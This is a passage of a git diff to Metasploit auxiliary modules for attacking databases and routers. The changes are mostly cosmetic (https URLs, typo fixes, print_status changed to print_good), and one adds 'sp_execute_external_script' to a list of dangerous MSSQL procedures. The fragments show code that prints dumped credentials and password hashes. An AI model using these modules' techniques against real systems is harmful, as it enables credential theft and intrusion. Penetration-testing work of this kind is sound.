   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Report
 
@@ -82,7 +81,7 @@ class MetasploitModule < Msf::Auxiliary
     end
 
     loot_file = store_loot("router.config", "text/plain", rhost, config[:data], "#{rhost}router_config.txt", "Router Configurations")
-    print_status("Router configuration dump stored in: #{loot_file}")
+    print_good("Router configuration dump stored in: #{loot_file}")
 
     parse_configuration(config[:data])
   end
@@ -221,7 +220,7 @@ class MetasploitModule < Msf::Auxiliary
 
     @credentials.each do |k,v|
       next unless v[:user] and v[:password]
-      print_status("#{k}: User: #{v[:user]} Pass: #{v[:password]}")
+      print_good("#{k}: User: #{v[:user]} Pass: #{v[:password]}")
       report_cred(
         ip: rhost,
         port: rport,
@@ -258,5 +257,4 @@ class MetasploitModule < Msf::Auxiliary
 
     end
   end
-
 end
diff --git a/modules/auxiliary/admin/misc/wol.rb b/modules/auxiliary/admin/misc/wol.rb
index 1b91a24c48..5f1be4d70b 100644
--- a/modules/auxiliary/admin/misc/wol.rb
+++ b/modules/auxiliary/admin/misc/wol.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Udp
 
   def initialize(info = {})
diff --git a/modules/auxiliary/admin/motorola/wr850g_cred.rb b/modules/auxiliary/admin/motorola/wr850g_cred.rb
index 23e4d79648..9a1094947a 100644
--- a/modules/auxiliary/admin/motorola/wr850g_cred.rb
+++ b/modules/auxiliary/admin/motorola/wr850g_cred.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
 
   def initialize(info = {})
diff --git a/modules/auxiliary/admin/ms/ms08_059_his2006.rb b/modules/auxiliary/admin/ms/ms08_059_his2006.rb
index 09080df98b..39ec949018 100644
--- a/modules/auxiliary/admin/ms/ms08_059_his2006.rb
+++ b/modules/auxiliary/admin/ms/ms08_059_his2006.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::DCERPC
 
   def initialize(info = {})
diff --git a/modules/auxiliary/admin/mssql/mssql_enum.rb b/modules/auxiliary/admin/mssql/mssql_enum.rb
index ba89284b66..40d786635a 100644
--- a/modules/auxiliary/admin/mssql/mssql_enum.rb
+++ b/modules/auxiliary/admin/mssql/mssql_enum.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::MSSQL
   include Msf::Auxiliary::Report
 
@@ -510,6 +509,7 @@ class MetasploitModule < Msf::Auxiliary
     dangeroussp = [
       'sp_createorphan',
       'sp_droporphans',
+      'sp_execute_external_script',
       'sp_getschemalock',
       'sp_prepexec',
       'sp_prepexecrpc',
diff --git a/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts.rb b/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts.rb
index 1cfdf1cc50..8441a60041 100644
--- a/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts.rb
+++ b/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/exploit/mssql_commands'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::MSSQL
   include Msf::Auxiliary::Report
 
diff --git a/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli.rb b/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli.rb
index 8a358b9800..c6c1c544c9 100644
--- a/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli.rb
+++ b/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/exploit/mssql_commands'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::MSSQL_SQLI
   include Msf::Auxiliary::Report
 
@@ -217,5 +216,4 @@ class MetasploitModule < Msf::Auxiliary
     # Create full sid
     "0x#{domain_sid}#{principal_id}"
   end
-
 end
diff --git a/modules/auxiliary/admin/mssql/mssql_enum_sql_logins.rb b/modules/auxiliary/admin/mssql/mssql_enum_sql_logins.rb
index 1a78e38824..21df6cfa6b 100644
--- a/modules/auxiliary/admin/mssql/mssql_enum_sql_logins.rb
+++ b/modules/auxiliary/admin/mssql/mssql_enum_sql_logins.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/exploit/mssql_commands'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::MSSQL
 
   def initialize(info = {})
diff --git a/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb b/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb
index bab49463fb..b0533a3f13 100644
--- a/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb
+++ b/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/exploit/mssql_commands'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::MSSQL
 
   def initialize(info = {})
diff --git a/modules/auxiliary/admin/mssql/mssql_escalate_dbowner_sqli.rb b/modules/auxiliary/admin/mssql/mssql_escalate_dbowner_sqli.rb
index 01b06f4fbd..7333b06d74 100644
--- a/modules/auxiliary/admin/mssql/mssql_escalate_dbowner_sqli.rb
+++ b/modules/auxiliary/admin/mssql/mssql_escalate_dbowner_sqli.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/exploit/mssql_commands'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::MSSQL_SQLI
   include Msf::Auxiliary::Report
 
diff --git a/modules/auxiliary/admin/mssql/mssql_escalate_execute_as.rb b/modules/auxiliary/admin/mssql/mssql_escalate_execute_as.rb
index 15ba895013..22a548569d 100644
--- a/modules/auxiliary/admin/mssql/mssql_escalate_execute_as.rb
+++ b/modules/auxiliary/admin/mssql/mssql_escalate_execute_as.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/exploit/mssql_commands'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::MSSQL
 
   def initialize(info = {})
diff --git a/modules/auxiliary/admin/mssql/mssql_escalate_execute_as_sqli.rb b/modules/auxiliary/admin/mssql/mssql_escalate_execute_as_sqli.rb
index 5e82c1deb5..f9444c195c 100644
--- a/modules/auxiliary/admin/mssql/mssql_escalate_execute_as_sqli.rb
+++ b/modules/auxiliary/admin/mssql/mssql_escalate_execute_as_sqli.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/exploit/mssql_commands'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::MSSQL_SQLI
   include Msf::Auxiliary::Report
 
diff --git a/modules/auxiliary/admin/mssql/mssql_exec.rb b/modules/auxiliary/admin/mssql/mssql_exec.rb
index b8d11c5e23..6cb6261721 100644
--- a/modules/auxiliary/admin/mssql/mssql_exec.rb
+++ b/modules/auxiliary/admin/mssql/mssql_exec.rb
@@ -1,11 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::MSSQL
 
   def initialize(info = {})
diff --git a/modules/auxiliary/admin/mssql/mssql_findandsampledata.rb b/modules/auxiliary/admin/mssql/mssql_findandsampledata.rb
index d1fe9bd0fe..e7e71db50c 100644
--- a/modules/auxiliary/admin/mssql/mssql_findandsampledata.rb
+++ b/modules/auxiliary/admin/mssql/mssql_findandsampledata.rb
@@ -1,11 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::MSSQL
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -347,9 +345,9 @@ class MetasploitModule < Msf::Auxiliary
     begin
       result = mssql_query(sql, false) if mssql_login_datastore
       column_data = result[:rows]
-      print_status("Successfully connected to #{rhost}:#{rport}")
+      print_good("Successfully connected to #{rhost}:#{rport}")
     rescue
-      print_status ("Failed to connect to #{rhost}:#{rport}.")
+      print_error("Failed to connect to #{rhost}:#{rport}.")
     return
     end
 
@@ -450,9 +448,8 @@ class MetasploitModule < Msf::Auxiliary
     if (save_loot=="yes")
       filename= "#{datastore['RHOST']}-#{datastore['RPORT']}_sqlserver_query_results.csv"
       path = store_loot("mssql.data", "text/plain", datastore['RHOST'], sql_data_tbl.to_csv, filename, "SQL Server query results",this_service)
-      print_status("Query results have been saved to: #{path}")
+      print_good("Query results have been saved to: #{path}")
     end
 
   end
-
 end
diff --git a/modules/auxiliary/admin/mssql/mssql_idf.rb b/modules/auxiliary/admin/mssql/mssql_idf.rb
index a768227371..f077fdce2f 100644
--- a/modules/auxiliary/admin/mssql/mssql_idf.rb
+++ b/modules/auxiliary/admin/mssql/mssql_idf.rb
@@ -1,3 +1,8 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
 ##
 # Author: Robin Wood <robin@digininja.org> <http://www.digininja.org>
 # Version: 0.1
@@ -7,13 +12,7 @@
 #
 ##
 
-##
-# This module requires Metasploit: http://metasploit.com/download
-# Current source: https://github.com/rapid7/metasploit-framework
-##
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::MSSQL
 
   def initialize(info = {})
@@ -164,5 +163,4 @@ class MetasploitModule < Msf::Auxiliary
     print_line
     disconnect
   end
-
 end
diff --git a/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb b/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb
index 749243dad2..c481a86ae0 100644
--- a/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb
+++ b/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::MSSQL
   include Msf::Auxiliary::Scanner
 
@@ -77,5 +76,4 @@ class MetasploitModule < Msf::Auxiliary
     print_good("Go check your SMB relay or capture module for goodies!")
 
   end
-
 end
diff --git a/modules/auxiliary/admin/mssql/mssql_ntlm_stealer_sqli.rb b/modules/auxiliary/admin/mssql/mssql_ntlm_stealer_sqli.rb
index b1c12ea00c..b2191a3d12 100644
--- a/modules/auxiliary/admin/mssql/mssql_ntlm_stealer_sqli.rb
+++ b/modules/auxiliary/admin/mssql/mssql_ntlm_stealer_sqli.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::MSSQL_SQLI
 
   def initialize(info = {})
diff --git a/modules/auxiliary/admin/mssql/mssql_sql.rb b/modules/auxiliary/admin/mssql/mssql_sql.rb
index 976a58d7ed..5102aa6f28 100644
--- a/modules/auxiliary/admin/mssql/mssql_sql.rb
+++ b/modules/auxiliary/admin/mssql/mssql_sql.rb
@@ -1,11 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::MSSQL
 
   def initialize(info = {})
@@ -13,7 +11,7 @@ class MetasploitModule < Msf::Auxiliary
       'Name'           => 'Microsoft SQL Server Generic Query',
       'Description'    => %q{
           This module will allow for simple SQL statements to be executed against a
-          MSSQL/MSDE instance given the appropiate credentials.
+          MSSQL/MSDE instance given the appropriate credentials.
       },
       'Author'         => [ 'tebo <tebo[at]attackresearch.com>' ],
       'License'        => MSF_LICENSE,
diff --git a/modules/auxiliary/admin/mssql/mssql_sql_file.rb b/modules/auxiliary/admin/mssql/mssql_sql_file.rb
index c229fc4db7..13b5d4ee90 100644
--- a/modules/auxiliary/admin/mssql/mssql_sql_file.rb
+++ b/modules/auxiliary/admin/mssql/mssql_sql_file.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::MSSQL
 
   def initialize(info = {})
@@ -13,7 +12,7 @@ class MetasploitModule < Msf::Auxiliary
       'Description'    => %q{
         This module will allow for multiple SQL queries contained within a specified
         file to be executed against a Microsoft SQL (MSSQL) Server instance, given
-        the appropiate credentials.
+        the appropriate credentials.
       },
       'Author'         => [ 'j0hn__f : <jf[at]tinternet.org.uk>' ],
       'License'        => MSF_LICENSE
diff --git a/modules/auxiliary/admin/mysql/mysql_enum.rb b/modules/auxiliary/admin/mysql/mysql_enum.rb
index b81af79293..e002296d84 100644
--- a/modules/auxiliary/admin/mysql/mysql_enum.rb
+++ b/modules/auxiliary/admin/mysql/mysql_enum.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::MYSQL
 
@@ -82,7 +81,7 @@ class MetasploitModule < Msf::Auxiliary
 
     print_status("\tOld Password Hashing Algorithm #{vparm["old_passwords"]}")
     print_status("\tLoading of local files: #{vparm["local_infile"]}")
-    print_status("\tLogins with old Pre-4.1 Passwords: #{vparm["secure_auth"]}")
+    print_status("\tDeny logins with old Pre-4.1 Passwords: #{vparm["secure_auth"]}")
     print_status("\tSkipping of GRANT TABLE: #{vparm["skip_grant_tables"]}") if vparm["skip_grant_tables"]
     print_status("\tAllow Use of symlinks for Database Files: #{vparm["have_symlink"]}")
     print_status("\tAllow Table Merge: #{vparm["have_merge_engine"]}")
@@ -110,7 +109,7 @@ class MetasploitModule < Msf::Auxiliary
     if res and res.size > 0
       print_status("\tList of Accounts with Password Hashes:")
       res.each do |row|
-        print_status("\t\tUser: #{row[0]} Host: #{row[1]} Password Hash: #{row[2]}")
+        print_good("\t\tUser: #{row[0]} Host: #{row[1]} Password Hash: #{row[2]}")
         report_cred(
           ip: rhost,
           port: rport,
@@ -241,5 +240,4 @@ class MetasploitModule < Msf::Auxiliary
 
     mysql_logoff
   end
-
 end
diff --git a/modules/auxiliary/admin/mysql/mysql_sql.rb b/modules/auxiliary/admin/mysql/mysql_sql.rb
index f9c6a8877c..335a43d286 100644
--- a/modules/auxiliary/admin/mysql/mysql_sql.rb
+++ b/modules/auxiliary/admin/mysql/mysql_sql.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::MYSQL
 
   def initialize(info = {})
@@ -43,5 +40,4 @@ class MetasploitModule < Msf::Auxiliary
       print_status(" | #{row.join(" | ")} |")
     end
   end
-
 end
diff --git a/modules/auxiliary/admin/natpmp/natpmp_map.rb b/modules/auxiliary/admin/natpmp/natpmp_map.rb
index 7764c3a552..7c16b4ab68 100644
--- a/modules/auxiliary/admin/natpmp/natpmp_map.rb
+++ b/modules/auxiliary/admin/natpmp/natpmp_map.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::NATPMP
@@ -116,5 +115,4 @@ class MetasploitModule < Msf::Auxiliary
       print_error("Unknown error: #{e.class} #{e.backtrace}")
     end
   end
-
 end
diff --git a/modules/auxiliary/admin/netbios/netbios_spoof.rb b/modules/auxiliary/admin/netbios/netbios_spoof.rb
index 06b713fe95..f30f326e77 100644
--- a/modules/auxiliary/admin/netbios/netbios_spoof.rb
+++ b/modules/auxiliary/admin/netbios/netbios_spoof.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Udp
 
   def initialize
@@ -98,5 +97,4 @@ class MetasploitModule < Msf::Auxiliary
 
     disconnect_udp
   end
-
 end
diff --git a/modules/auxiliary/admin/officescan/tmlisten_traversal.rb b/modules/auxiliary/admin/officescan/tmlisten_traversal.rb
index 0747480e86..4675bb60b2 100644
--- a/modules/auxiliary/admin/officescan/tmlisten_traversal.rb
+++ b/modules/auxiliary/admin/officescan/tmlisten_traversal.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Scanner
 
diff --git a/modules/auxiliary/admin/oracle/ora_ntlm_stealer.rb b/modules/auxiliary/admin/oracle/ora_ntlm_stealer.rb
index a767e828e6..b3cc221d54 100644
--- a/modules/auxiliary/admin/oracle/ora_ntlm_stealer.rb
+++ b/modules/auxiliary/admin/oracle/ora_ntlm_stealer.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::ORACLE
 
   def initialize(info = {})
@@ -74,5 +73,4 @@ class MetasploitModule < Msf::Auxiliary
     end
 
   end
-
 end
diff --git a/modules/auxiliary/admin/oracle/oracle_login.rb b/modules/auxiliary/admin/oracle/oracle_login.rb
index 3a68fc41a2..c4f59aa0b4 100644
--- a/modules/auxiliary/admin/oracle/oracle_login.rb
+++ b/modules/auxiliary/admin/oracle/oracle_login.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'csv'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Exploit::ORACLE
 
@@ -88,7 +87,7 @@ class MetasploitModule < Msf::Auxiliary
           user: "#{datastore['SID']}/#{datastore['DBUSER']}",
           password: datastore['DBPASS']
         )
-        print_status("Found user/pass of: #{datastore['DBUSER']}/#{datastore['DBPASS']} on #{datastore['RHOST']} with sid #{datastore['SID']}")
+        print_good("Found user/pass of: #{datastore['DBUSER']}/#{datastore['DBPASS']} on #{datastore['RHOST']} with sid #{datastore['SID']}")
       end
     end
   end
diff --git a/modules/auxiliary/admin/oracle/oracle_sql.rb b/modules/auxiliary/admin/oracle/oracle_sql.rb
index 394e2f1609..ccc52fad7f 100644
--- a/modules/auxiliary/admin/oracle/oracle_sql.rb
+++ b/modules/auxiliary/admin/oracle/oracle_sql.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::ORACLE
 
   def initialize(info = {})
@@ -12,7 +11,7 @@ class MetasploitModule < Msf::Auxiliary
       'Name'           => 'Oracle SQL Generic Query',
       'Description'    => %q{
           This module allows for simple SQL statements to be executed
-          against a Oracle instance given the appropriate credentials
+          against an Oracle instance given the appropriate credentials
           and sid.
       },
       'Author'         => [ 'MC' ],
@@ -47,5 +46,4 @@ class MetasploitModule < Msf::Auxiliary
       return
     end
   end
-
 end
diff --git a/modules/auxiliary/admin/oracle/oraenum.rb b/modules/auxiliary/admin/oracle/oraenum.rb
index b388430111..b0909cfa8e 100644
--- a/modules/auxiliary/admin/oracle/oraenum.rb
+++ b/modules/auxiliary/admin/oracle/oraenum.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Exploit::ORACLE
 
diff --git a/modules/auxiliary/admin/oracle/osb_execqr.rb b/modules/auxiliary/admin/oracle/osb_execqr.rb
index 9d1dbfa72a..ad79ecd3f1 100644
--- a/modules/auxiliary/admin/oracle/osb_execqr.rb
+++ b/modules/auxiliary/admin/oracle/osb_execqr.rb
@@ -1,17 +1,16 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
 
   def initialize(info = {})
     super(update_info(info,
       'Name'           => 'Oracle Secure Backup exec_qr() Command Injection Vulnerability',
       'Description'    => %q{
-          This module exploits a command injection vulnerablility in Oracle Secure Backup version 10.1.0.3 to 10.2.0.2.
+          This module exploits a command injection vulnerability in Oracle Secure Backup version 10.1.0.3 to 10.2.0.2.
       },
       'Author'         => [ 'MC' ],
       'License'        => MSF_LICENSE,
diff --git a/modules/auxiliary/admin/oracle/osb_execqr2.rb b/modules/auxiliary/admin/oracle/osb_execqr2.rb
index ae53fdcc0b..5f8367865f 100644
--- a/modules/auxiliary/admin/oracle/osb_execqr2.rb
+++ b/modules/auxiliary/admin/oracle/osb_execqr2.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
 
   def initialize(info = {})
diff --git a/modules/auxiliary/admin/oracle/osb_execqr3.rb b/modules/auxiliary/admin/oracle/osb_execqr3.rb
index a2ae128395..fe9228fd6b 100644
--- a/modules/auxiliary/admin/oracle/osb_execqr3.rb
+++ b/modules/auxiliary/admin/oracle/osb_execqr3.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
 
   def initialize(info = {})
diff --git a/modules/auxiliary/admin/oracle/post_exploitation/win32exec.rb b/modules/auxiliary/admin/oracle/post_exploitation/win32exec.rb
index 1a6ad63a41..e9ce23ba93 100644
--- a/modules/auxiliary/admin/oracle/post_exploitation/win32exec.rb
+++ b/modules/auxiliary/admin/oracle/post_exploitation/win32exec.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::ORACLE
 
   def initialize(info = {})
@@ -78,5 +77,4 @@ class MetasploitModule < Msf::Auxiliary
     prepare_exec(dropp)
 
   end
-
 end
diff --git a/modules/auxiliary/admin/oracle/post_exploitation/win32upload.rb b/modules/auxiliary/admin/oracle/post_exploitation/win32upload.rb
index 161db41e2f..030ab8c73d 100644
--- a/modules/auxiliary/admin/oracle/post_exploitation/win32upload.rb
+++ b/modules/auxiliary/admin/oracle/post_exploitation/win32upload.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::ORACLE
 
   def initialize(info = {})
@@ -89,5 +88,4 @@ EOF
     prepare_exec(dropp)
 
   end
-
 end
diff --git a/modules/auxiliary/admin/oracle/sid_brute.rb b/modules/auxiliary/admin/oracle/sid_brute.rb
index 19dde5ecc5..06dd77d376 100644
--- a/modules/auxiliary/admin/oracle/sid_brute.rb
+++ b/modules/auxiliary/admin/oracle/sid_brute.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::TNS
 
diff --git a/modules/auxiliary/admin/oracle/tnscmd.rb b/modules/auxiliary/admin/oracle/tnscmd.rb
index 997a53da66..39b1bc04a0 100644
--- a/modules/auxiliary/admin/oracle/tnscmd.rb
+++ b/modules/auxiliary/admin/oracle/tnscmd.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::TNS
 
   def initialize(info = {})
diff --git a/modules/auxiliary/admin/pop2/uw_fileretrieval.rb b/modules/auxiliary/admin/pop2/uw_fileretrieval.rb
index 3b82c234dc..a4ed39faa3 100644
--- a/modules/auxiliary/admin/pop2/uw_fileretrieval.rb
+++ b/modules/auxiliary/admin/pop2/uw_fileretrieval.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Pop2
 
   def initialize(info = {})
@@ -52,5 +49,4 @@ class MetasploitModule < Msf::Auxiliary
     send_cmd( ['QUIT'] , true)
     disconnect
   end
-
 end
diff --git a/modules/auxiliary/admin/postgres/postgres_readfile.rb b/modules/auxiliary/admin/postgres/postgres_readfile.rb
index 3c8a22872f..770a731adf 100644
--- a/modules/auxiliary/admin/postgres/postgres_readfile.rb
+++ b/modules/auxiliary/admin/postgres/postgres_readfile.rb
@@ -1,11 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Postgres
   include Msf::Auxiliary::Report
 
@@ -62,7 +60,7 @@ class MetasploitModule < Msf::Auxiliary
       }
       # No idea what the actual ctype will be, text/plain is just a guess
       path = store_loot('postgres.file', 'text/plain', rhost, loot, datastore['RFILE'])
-      print_status("#{rhost}:#{rport} Postgres - #{datastore['RFILE']} saved in #{path}")
+      print_good("#{rhost}:#{rport} Postgres - #{datastore['RFILE']} saved in #{path}")
       vprint_good  "#{rhost}:#{rport} Postgres - Command complete."
     end
     postgres_logout if self.postgres_conn
diff --git a/modules/auxiliary/admin/postgres/postgres_sql.rb b/modules/auxiliary/admin/postgres/postgres_sql.rb
index 866a4ea62e..6f2a440c7b 100644
--- a/modules/auxiliary/admin/postgres/postgres_sql.rb
+++ b/modules/auxiliary/admin/postgres/postgres_sql.rb
@@ -1,11 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Auxiliary
-
